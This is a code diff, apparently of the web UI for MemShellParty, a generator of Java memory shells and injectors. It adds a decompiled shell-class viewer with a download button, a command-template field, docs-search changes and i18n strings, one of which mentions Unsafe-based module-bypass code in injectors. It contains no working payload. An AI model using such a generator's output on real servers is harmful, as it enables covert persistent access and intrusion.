const isBodyCommand = isBodyContent && generateResult?.probeConfig.probeContent === "Command"; const isBodyCommand = isBodyContent && generateResult?.probeConfig.probeContent === "Command";
const probeContentConfig = generateResult?.probeContentConfig as ResponseBodyConfig | undefined;
return ( return (
<Card> <Card>
<CardHeader> <CardHeader>
@@ -28,18 +29,17 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: ProbeS
{!isFilterContent && isBodyContent && ( {!isFilterContent && isBodyContent && (
<CopyableField <CopyableField
label={t("common:paramName")} label={t("common:paramName")}
value={(generateResult?.probeContentConfig as ResponseBodyConfig).reqParamName} value={probeContentConfig?.reqParamName}
text={(generateResult?.probeContentConfig as ResponseBodyConfig).reqParamName} text={probeContentConfig?.reqParamName}
/>
)}
{isBodyCommand && probeContentConfig?.commandTemplate && (
<CopyableField
label={t("common:commandTemplate")}
value={probeContentConfig.commandTemplate}
text={probeContentConfig.commandTemplate}
/> />
)} )}
{isBodyCommand &&
(generateResult?.probeContentConfig as ResponseBodyConfig).commandTemplate && (
<CopyableField
label={t("common:commandTemplate")}
value={(generateResult?.probeContentConfig as ResponseBodyConfig).commandTemplate}
text={(generateResult?.probeContentConfig as ResponseBodyConfig).commandTemplate}
/>
)}
<CopyableField <CopyableField
label={t("probeshell:shellClassName")} label={t("probeshell:shellClassName")}
value={generateResult?.shellClassName} value={generateResult?.shellClassName}
+61 -2
View File
@@ -1,9 +1,15 @@
import type { ProbeShellResult } from "@/types/probeshell"; import type { ProbeShellResult } from "@/types/probeshell";
import { DownloadIcon } from "lucide-react";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import { toast } from "sonner";
import DecompiledCodeViewer from "@/components/decompiled-code-viewer";
import { QuickUsage } from "@/components/probeshell/quick-usage"; import { QuickUsage } from "@/components/probeshell/quick-usage";
import { Button } from "@/components/ui/button";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
import { useDecompiledSources } from "@/lib/decompile/use-decompiled-sources";
import { downloadBytes } from "@/lib/utils";
import CodeViewer from "../code-viewer"; import CodeViewer from "../code-viewer";
import { BasicInfo } from "./basic-info"; import { BasicInfo } from "./basic-info";
@@ -17,16 +23,29 @@ export default function ShellResult({
packMethod: string; packMethod: string;
generateResult?: ProbeShellResult; generateResult?: ProbeShellResult;
}>) { }>) {
const { t } = useTranslation(); const { t } = useTranslation(["common", "probeshell"]);
const { sources, isDecompiling, error } = useDecompiledSources(generateResult);
if (!generateResult) { if (!generateResult) {
return <QuickUsage />; return <QuickUsage />;
} }
const showCode = packMethod === "JSP"; const showCode = packMethod === "JSP";
const height = 600; const height = 600;
const decompiledSourceHeight = 800;
const shellClassName = generateResult.shellClassName;
const shellBytesBase64 = generateResult.shellBytesBase64Str;
const sourcePlaceholder = isDecompiling
? `// ${t("common:decompiling")}`
: error
? `// ${t("common:decompileFailed", { error })}`
: "";
return ( return (
<Tabs defaultValue="packResult"> <Tabs defaultValue="packResult">
<TabsList className="grid w-full grid-cols-1"> <TabsList className="grid w-full grid-cols-2">
<TabsTrigger value="packResult">{t("common:generateResult")}</TabsTrigger> <TabsTrigger value="packResult">{t("common:generateResult")}</TabsTrigger>
<TabsTrigger value="shell">{t("probeshell:shellClass")}</TabsTrigger>
</TabsList> </TabsList>
<TabsContent value="packResult" className="space-y-2"> <TabsContent value="packResult" className="space-y-2">
<BasicInfo generateResult={generateResult} /> <BasicInfo generateResult={generateResult} />
@@ -48,6 +67,46 @@ export default function ShellResult({
/> />
)} )}
</TabsContent> </TabsContent>
<TabsContent value="shell" className="mt-4" keepMounted>
<DecompiledCodeViewer
copyLabel={t("common:copy")}
copyOptions={[
{
label: t("probeshell:copySource"),
value: sources.shell?.source ?? "",
disabled: !sources.shell,
},
{
label: t("probeshell:copyBase64"),
value: shellBytesBase64 ?? "",
disabled: !shellBytesBase64,
},
]}
header={<div className="truncate text-xs">{shellClassName}</div>}
button={
<Button
variant="ghost"
size="icon"
type="button"
className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
aria-label={t("common:download")}
title={t("common:download")}
onClick={() => {
if (!shellBytesBase64) {
toast.warning(t("probeshell:tips.shellBytesEmpty"));
return;
}
downloadBytes(shellBytesBase64, shellClassName);
}}
>
<DownloadIcon className="h-4 w-4" />
</Button>
}
height={decompiledSourceHeight}
lines={sources.shell?.lines ?? null}
placeholder={sourcePlaceholder}
/>
</TabsContent>
</Tabs> </Tabs>
); );
} }
+4 -11
View File
@@ -1,5 +1,5 @@
import { create } from "@orama/orama";
import { useDocsSearch } from "fumadocs-core/search/client"; import { useDocsSearch } from "fumadocs-core/search/client";
import { staticClient } from "fumadocs-core/search/client/orama-static";
import { import {
SearchDialog, SearchDialog,
SearchDialogClose, SearchDialogClose,
@@ -13,19 +13,12 @@ import {
} from "fumadocs-ui/components/dialog/search"; } from "fumadocs-ui/components/dialog/search";
import { useI18n } from "fumadocs-ui/contexts/i18n"; import { useI18n } from "fumadocs-ui/contexts/i18n";
function initOrama() {
return create({
schema: { _: "string" },
language: "english",
});
}
export default function DefaultSearchDialog(props: SharedProps) { export default function DefaultSearchDialog(props: SharedProps) {
const { locale } = useI18n(); const { locale } = useI18n();
const { search, setSearch, query } = useDocsSearch({ const { search, setSearch, query } = useDocsSearch({
type: "static", client: staticClient({
initOrama, locale,
locale, }),
}); });
return ( return (
+53
View File
@@ -0,0 +1,53 @@
import { Menu as MenuPrimitive } from "@base-ui/react/menu";
import { cn } from "@/lib/utils";
const DropdownMenu = MenuPrimitive.Root;
const DropdownMenuTrigger = MenuPrimitive.Trigger;
function DropdownMenuContent({
className,
side = "bottom",
sideOffset = 4,
align = "center",
alignOffset = 0,
...props
}: MenuPrimitive.Popup.Props &
Pick<MenuPrimitive.Positioner.Props, "align" | "alignOffset" | "side" | "sideOffset">) {
return (
<MenuPrimitive.Portal>
<MenuPrimitive.Positioner
side={side}
sideOffset={sideOffset}
align={align}
alignOffset={alignOffset}
className="isolate z-50"
>
<MenuPrimitive.Popup
data-slot="dropdown-menu-content"
className={cn(
"relative isolate z-50 max-h-(--available-height) min-w-32 origin-(--transform-origin) overflow-x-hidden overflow-y-auto rounded-md bg-popover p-1 text-popover-foreground shadow-md ring-1 ring-foreground/10 duration-100 data-closed:animate-out data-closed:fade-out-0 data-closed:zoom-out-95 data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
className,
)}
{...props}
/>
</MenuPrimitive.Positioner>
</MenuPrimitive.Portal>
);
}
function DropdownMenuItem({ className, ...props }: MenuPrimitive.Item.Props) {
return (
<MenuPrimitive.Item
data-slot="dropdown-menu-item"
className={cn(
"relative flex w-full cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
className,
)}
{...props}
/>
);
}
export { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger };
+8 -12
View File
@@ -1,13 +1,9 @@
import * as React from "react" import { ScrollArea as ScrollAreaPrimitive } from "@base-ui/react/scroll-area";
import { ScrollArea as ScrollAreaPrimitive } from "@base-ui/react/scroll-area" import * as React from "react";
import { cn } from "@/lib/utils" import { cn } from "@/lib/utils";
function ScrollArea({ function ScrollArea({ className, children, ...props }: ScrollAreaPrimitive.Root.Props) {
className,
children,
...props
}: ScrollAreaPrimitive.Root.Props) {
return ( return (
<ScrollAreaPrimitive.Root <ScrollAreaPrimitive.Root
data-slot="scroll-area" data-slot="scroll-area"
@@ -23,7 +19,7 @@ function ScrollArea({
<ScrollBar /> <ScrollBar />
<ScrollAreaPrimitive.Corner /> <ScrollAreaPrimitive.Corner />
</ScrollAreaPrimitive.Root> </ScrollAreaPrimitive.Root>
) );
} }
function ScrollBar({ function ScrollBar({
@@ -38,7 +34,7 @@ function ScrollBar({
orientation={orientation} orientation={orientation}
className={cn( className={cn(
"flex touch-none p-px transition-colors select-none data-horizontal:h-2.5 data-horizontal:flex-col data-horizontal:border-t data-horizontal:border-t-transparent data-vertical:h-full data-vertical:w-2.5 data-vertical:border-l data-vertical:border-l-transparent", "flex touch-none p-px transition-colors select-none data-horizontal:h-2.5 data-horizontal:flex-col data-horizontal:border-t data-horizontal:border-t-transparent data-vertical:h-full data-vertical:w-2.5 data-vertical:border-l data-vertical:border-l-transparent",
className className,
)} )}
{...props} {...props}
> >
@@ -47,7 +43,7 @@ function ScrollBar({
className="relative flex-1 rounded-full bg-border" className="relative flex-1 rounded-full bg-border"
/> />
</ScrollAreaPrimitive.Scrollbar> </ScrollAreaPrimitive.Scrollbar>
) );
} }
export { ScrollArea, ScrollBar } export { ScrollArea, ScrollBar };
+1 -1
View File
@@ -7,7 +7,7 @@ const EnvSchema = yup.object({
}); });
type EnvSchema = yup.InferType<typeof EnvSchema>; type EnvSchema = yup.InferType<typeof EnvSchema>;
function safeParseYup<T>(schema: yup.ObjectSchema<any>, data: unknown) { function safeParseYup<T>(schema: yup.AnySchema, data: unknown) {
try { try {
const validatedData = schema.validateSync(data, { const validatedData = schema.validateSync(data, {
abortEarly: false, abortEarly: false,
+31 -39
View File
@@ -1,6 +1,5 @@
import type { Route } from "./+types/page"; import type { Route } from "./+types/page";
import browserCollections from "collections/browser";
import { useFumadocsLoader } from "fumadocs-core/source/client"; import { useFumadocsLoader } from "fumadocs-core/source/client";
import { DocsLayout } from "fumadocs-ui/layouts/docs"; import { DocsLayout } from "fumadocs-ui/layouts/docs";
import { import {
@@ -11,13 +10,14 @@ import {
MarkdownCopyButton, MarkdownCopyButton,
ViewOptionsPopover, ViewOptionsPopover,
} from "fumadocs-ui/layouts/docs/page"; } from "fumadocs-ui/layouts/docs/page";
import { use } from "react";
import { useMDXComponents } from "@/components/mdx"; import { useMDXComponents } from "@/components/mdx";
import { baseOptions } from "@/lib/layout.shared"; import { baseOptions } from "@/lib/layout.shared";
import { getPageMarkdownUrl, source } from "@/lib/source"; import { docs, getPageMarkdownUrl, source } from "@/lib/source";
export async function loader({ params }: Route.LoaderArgs) { export async function loader({ params }: Route.LoaderArgs) {
const slugs = params["*"].split("/").filter((v: string | any[]) => v.length > 0); const slugs = params["*"].split("/").filter((v) => v.length > 0);
const page = source.getPage(slugs); const page = source.getPage(slugs);
if (!page) throw new Response("Not found", { status: 404 }); if (!page) throw new Response("Not found", { status: 404 });
@@ -28,48 +28,40 @@ export async function loader({ params }: Route.LoaderArgs) {
}; };
} }
const clientLoader = browserCollections.docs.createClientLoader({ function Content({ path, markdownUrl }: { path: string; markdownUrl: string }) {
component( const page = docs.getPage(path);
{ toc, frontmatter, default: Mdx }, if (!page) throw new Error(`unknown page: ${path}`);
// you can define props for the component
{ // content is loaded lazily, call `page.preload()` in the loader to avoid suspending
markdownUrl, const { toc } = use(page.load());
path, const Mdx = page.body;
}: {
markdownUrl: string; return (
path: string; <DocsPage toc={toc} tableOfContent={{ style: "clerk" }}>
}, <title>{page.title}</title>
) { <meta name="description" content={page.description} />
return ( <DocsTitle>{page.title}</DocsTitle>
<DocsPage toc={toc} tableOfContent={{ style: "clerk" }}> <DocsDescription>{page.description}</DocsDescription>
<title>{frontmatter.title}</title> <div className="-mt-4 flex flex-row items-center gap-2 border-b pb-6">
<meta name="description" content={frontmatter.description} /> <MarkdownCopyButton markdownUrl={markdownUrl} />
<DocsTitle>{frontmatter.title}</DocsTitle> <ViewOptionsPopover
<DocsDescription>{frontmatter.description}</DocsDescription> markdownUrl={markdownUrl}
<div className="-mt-4 flex flex-row items-center gap-2 border-b pb-6"> githubUrl={`https://github.com/ReaJason/MemShellParty/blob/master/web/content/docs/${path}`}
<MarkdownCopyButton markdownUrl={markdownUrl} /> />
<ViewOptionsPopover </div>
markdownUrl={markdownUrl} <DocsBody>
githubUrl={`https://github.com/ReaJason/MemShellParty/blob/master/web/content/docs/${path}`} <Mdx components={useMDXComponents()} />
/> </DocsBody>
</div> </DocsPage>
<DocsBody> );
<Mdx components={useMDXComponents()} /> }
</DocsBody>
</DocsPage>
);
},
});
export default function Page({ loaderData }: Route.ComponentProps) { export default function Page({ loaderData }: Route.ComponentProps) {
const { pageTree, path, markdownUrl } = useFumadocsLoader(loaderData); const { pageTree, path, markdownUrl } = useFumadocsLoader(loaderData);
return ( return (
<DocsLayout {...baseOptions()} tree={pageTree}> <DocsLayout {...baseOptions()} tree={pageTree}>
{clientLoader.useContent(loaderData.path, { <Content path={path} markdownUrl={markdownUrl} />
markdownUrl,
path,
})}
</DocsLayout> </DocsLayout>
); );
} }
+1 -10
View File
@@ -1,17 +1,8 @@
import { stopwords as mandarinStopwords } from "@orama/stopwords/mandarin";
import { createTokenizer } from "@orama/tokenizers/mandarin";
import { createFromSource } from "fumadocs-core/search/server"; import { createFromSource } from "fumadocs-core/search/server";
import { source } from "@/lib/source"; import { source } from "@/lib/source";
const server = createFromSource(source, { const server = createFromSource(source);
components: {
tokenizer: createTokenizer({
language: "mandarin",
stopWords: mandarinStopwords,
}),
},
});
export async function loader() { export async function loader() {
return server.staticGET(); return server.staticGET();
+6 -1
View File
@@ -1,9 +1,11 @@
{ {
"about": "About", "about": "About",
"documents": "Documents",
"basicInfo": "BasicInfo", "basicInfo": "BasicInfo",
"byPassJavaModule": "BypassModule", "byPassJavaModule": "BypassModule",
"byPassJavaModule.description": "JDK 9+ module system strictly restricts reflective defineClass calls. When enabled, automatically inserts Unsafe-based module bypass code into injector", "byPassJavaModule.description": "JDK 9+ module system strictly restricts reflective defineClass calls. When enabled, automatically inserts Unsafe-based module bypass code into injector",
"cancel": "Cancel", "cancel": "Cancel",
"copy": "Copy",
"copyLabelSuccess": "Copy {{label}} successfully", "copyLabelSuccess": "Copy {{label}} successfully",
"copySuccess": "Copy successfully", "copySuccess": "Copy successfully",
"debug": "Debug Mode", "debug": "Debug Mode",
@@ -56,5 +58,8 @@
"commandTemplate": "Command Template", "commandTemplate": "Command Template",
"commandTemplate.placeholder": "e.g., sh -c \"{command}\" 2>&1", "commandTemplate.placeholder": "e.g., sh -c \"{command}\" 2>&1",
"commandTemplate.description": "Use {command} as placeholder", "commandTemplate.description": "Use {command} as placeholder",
"targetJdkVersion": "JRE Version" "targetJdkVersion": "JRE Version",
"decompile": "Decompile",
"decompiling": "Decompiling...",
"decompileFailed": "Failed to decompile source: {{error}}"
} }
+6 -1
View File
@@ -1,9 +1,11 @@
{ {
"about": "关于", "about": "关于",
"documents": "文档",
"basicInfo": "基本信息", "basicInfo": "基本信息",
"byPassJavaModule": "绕过模块限制", "byPassJavaModule": "绕过模块限制",
"byPassJavaModule.description": "JDK 9+ 模块化系统严格限制反射调用 defineClass。开启后会在注入器中自动插入使用 Unsafe 绕过模块限制的代码", "byPassJavaModule.description": "JDK 9+ 模块化系统严格限制反射调用 defineClass。开启后会在注入器中自动插入使用 Unsafe 绕过模块限制的代码",
"cancel": "取消", "cancel": "取消",
"copy": "复制",
"copyLabelSuccess": "复制 {{label}} 成功", "copyLabelSuccess": "复制 {{label}} 成功",
"copySuccess": "复制成功", "copySuccess": "复制成功",
"debug": "调试模式", "debug": "调试模式",
@@ -56,5 +58,8 @@
"commandTemplate": "命令模板", "commandTemplate": "命令模板",
"commandTemplate.placeholder": "例如:sh -c \"{command}\" 2>&1", "commandTemplate.placeholder": "例如:sh -c \"{command}\" 2>&1",
"commandTemplate.description": "使用 {command} 作为占位符", "commandTemplate.description": "使用 {command} 作为占位符",
"targetJdkVersion": "JRE 版本" "targetJdkVersion": "JRE 版本",
"decompile": "反编译",
"decompiling": "正在反编译...",
"decompileFailed": "反编译源码失败:{{error}}"
} }

Some files were not shown because too many files have changed in this diff Show More